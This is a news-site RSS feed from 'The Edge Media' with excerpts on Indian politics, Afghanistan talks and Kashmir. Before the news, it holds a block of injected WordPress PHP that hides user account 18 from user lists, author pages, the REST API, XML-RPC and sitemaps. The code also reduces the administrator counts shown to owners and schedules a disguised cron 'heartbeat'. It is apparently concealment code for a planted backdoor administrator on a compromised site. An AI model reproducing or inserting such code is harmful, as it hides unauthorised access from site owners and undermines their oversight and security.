add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post On Tuesday, regional national security advisers will gather for talks on Afghanistan appeared first on The Edge Media.
]]>
Officials involved in the dialogue said the meeting, to which Pakistan and China have declined to attend, would aim to share a “common understanding of concerns” shared by Afghanistan’s neighbors in the aftermath of the Taliban takeover on August 15, as well as build consensus on how to deal with threats.
The post On Tuesday, regional national security advisers will gather for talks on Afghanistan appeared first on The Edge Media.
]]>The post Leaked CBI Report Giving Ex-Maharashtra Minister Clean Chit Is Genuine: NCP appeared first on The Edge Media.
]]>The Central agency has now claimed that the report was leaked after a bribe was paid and it has registered a criminal case in this regard, NCP leader and Maharashtra minority affairs minister Nawab Malik told reporters.
But the Central Bureau of Investigation is not stating that the report itself was fake, he said.
“To save its face, it is saying that the report had been managed,” Mr Malik alleged.
The post Leaked CBI Report Giving Ex-Maharashtra Minister Clean Chit Is Genuine: NCP appeared first on The Edge Media.
]]>The post “Intellectuals Have A Duty To Expose Lies Of State”: Supreme Court Judge appeared first on The Edge Media.
]]>Delivering the Justice MC Chagla Memorial Lecture, Justice Chandrachud also cautioned against an over-reliance on the government to provide social, political, economic, cultural and, in the current context, medical truths; he highlighted manipulation of COVID-19 data as an example.
“One cannot rely only on the State for truth. Totalitarian governments are known for their constant reliance on falsehoods to consolidate power… we see there is an increasing trend among countries to manipulate COVID-19 data,” Justice Chandrachud said.
The post “Intellectuals Have A Duty To Expose Lies Of State”: Supreme Court Judge appeared first on The Edge Media.
]]>The post Sena’s Sanjay Raut Defends Uddhav Thackeray’s Remark On Yogi Adityanath appeared first on The Edge Media.
]]>This came after BJP MLA Devyani Farande demanded action against Mr Thackeray for allegedly using derogatory remarks against his Yogi Adityanath in the past.
“The statement was made over an insult to Chhatrapati Shivaji Maharaj. No one garlands Shivaji Maharaj in Maharashtra while wearing slippers. It is our culture and tradition. This is our respect to Shivaji Maharaj,” Mr Raut said.
Earlier on Wednesday, Ms Farande said: “Uddhav Thackeray had said about Uttar Pradesh Chief Minister Yogi Adityanath that he is not ‘Yogi’ but Bhogi. He also had said that Chief Minister Yogi Adityanath should be beaten with slippers. This is not appropriate. We hope strict action will be taken against him.”
The post Sena’s Sanjay Raut Defends Uddhav Thackeray’s Remark On Yogi Adityanath appeared first on The Edge Media.
]]>The post Meetings With Rahul Gandhi As Congress Moves On To Chhattisgarh Problem appeared first on The Edge Media.
]]>Mr Baghel’s government completed two-and-a-half years in office in June. That is when Mr Deo and his supporters started pressing for change, insisting that rotational chief ministership was the deal when the party took power in December 2018.
Mr Deo claims he was promised he would take over as Chief Minister after Mr Baghel’s half-term.
The post Meetings With Rahul Gandhi As Congress Moves On To Chhattisgarh Problem appeared first on The Edge Media.
]]>The post 6 Trinamool Rajya Sabha MPs Suspended for today over “Disorderly” Conduct. appeared first on The Edge Media.
]]>The Rajya Sabha members are Dola Sen, Nadimul Haque, Abir Ranjan Biswas, Shanta Chhetri , Arpita Ghosh and Mausam Noor. Rajya Sabha Chairman Venkaiah Naidu first asked members to go back to their seats and then threatened to invoke rule 255 against those holding placards.
Opposition leaders, including Trinamool members, trooped into the well of the house, some holding placards, to demand a discussion on the issue of Israeli-made, military-grade Pegasus spyware allegedly being used to snoop on opposition leaders, government critics and journalists.
The post 6 Trinamool Rajya Sabha MPs Suspended for today over “Disorderly” Conduct. appeared first on The Edge Media.
]]>The post Two Militants killed in Kashmir during a gunfight. appeared first on The Edge Media.
]]>He said the search operations turned into a gunfight after militants opened fire at a search party of the forces, who retaliated.
“Two militants were killed in the encounter and searches are going on,” the police said in a statement. It added that the identities of the two were immediately unclear.
The police are yet to ascertain the identity of the militants and the group they were affiliated to. Further details are awaited, the police official added.
The post Two Militants killed in Kashmir during a gunfight. appeared first on The Edge Media.
]]>The post Karnataka chief minister BS Yediyurappa announces resignation at a programme that marked the completion of his 2 years government. appeared first on The Edge Media.
]]>Yediyurappa was speaking at a programme that marked the celebration of two years of the BJP government in the state. “I have decided to resign,” a news agency quoted the Karnataka chief minister as saying. “I will meet the Governor after lunch.”
Karnataka was rife with rumours earlier regarding the resignation of four-time chief minister BS Yediyurappa, who held a strong support base from the Lingayat community. The 77-year-old has already been dropping enough hints that he was on his way out, though the politicians whose names are being speculated to take his stead have dismissed any such possibility and attributed such speculations to mere political rumours.
The post Karnataka chief minister BS Yediyurappa announces resignation at a programme that marked the completion of his 2 years government. appeared first on The Edge Media.
]]>The post New Zealand to accept ISIS-Linked women and her children. appeared first on The Edge Media.
]]>The New Zealand-born-woman–widely identified as Suhayra aden –moved to Australia at age six and was a dual national until Canberra stripped her of citizenship last year.
At the time, Australian Prime Minister Scott Morrision said “terrorists who fought with terrorism organisation’ forfeited the privilegae of citizenship.
Aden moved from Australia to Syria in 2014 and lived under the islamic state.
The 26-year-old told news organisation ABC at a Syrian refugee camp in 2019 that she had been married to two swedish islamic state fighters.
The post New Zealand to accept ISIS-Linked women and her children. appeared first on The Edge Media.
]]>The post PM Modi’s Monsoon Session live : appeared first on The Edge Media.
]]>As the disruptions continued despite repeated pleas by the Speaker to maintain decorum, Lok Sabha was adjourned till 3.30pm , while Rajya Sabha was adjourned till 3 pm.
Criticising the Opposition for not allowing PM Modi to introduce the new ministers, Defence Minister Rajnath Singh said such a thing was happening for the first time in his 24 years of parliamentary career.
“I would like to urge all the MPs and all the parties to ask the most difficult and sharpest questions in the Houses but should also allow the Government to respond, in a disciplined environment. This will boost democracy, strengthen people’s trust and improve the pace of development,” PM Modi told media persons in the Parliament House Complex.
The post PM Modi’s Monsoon Session live : appeared first on The Edge Media.
]]>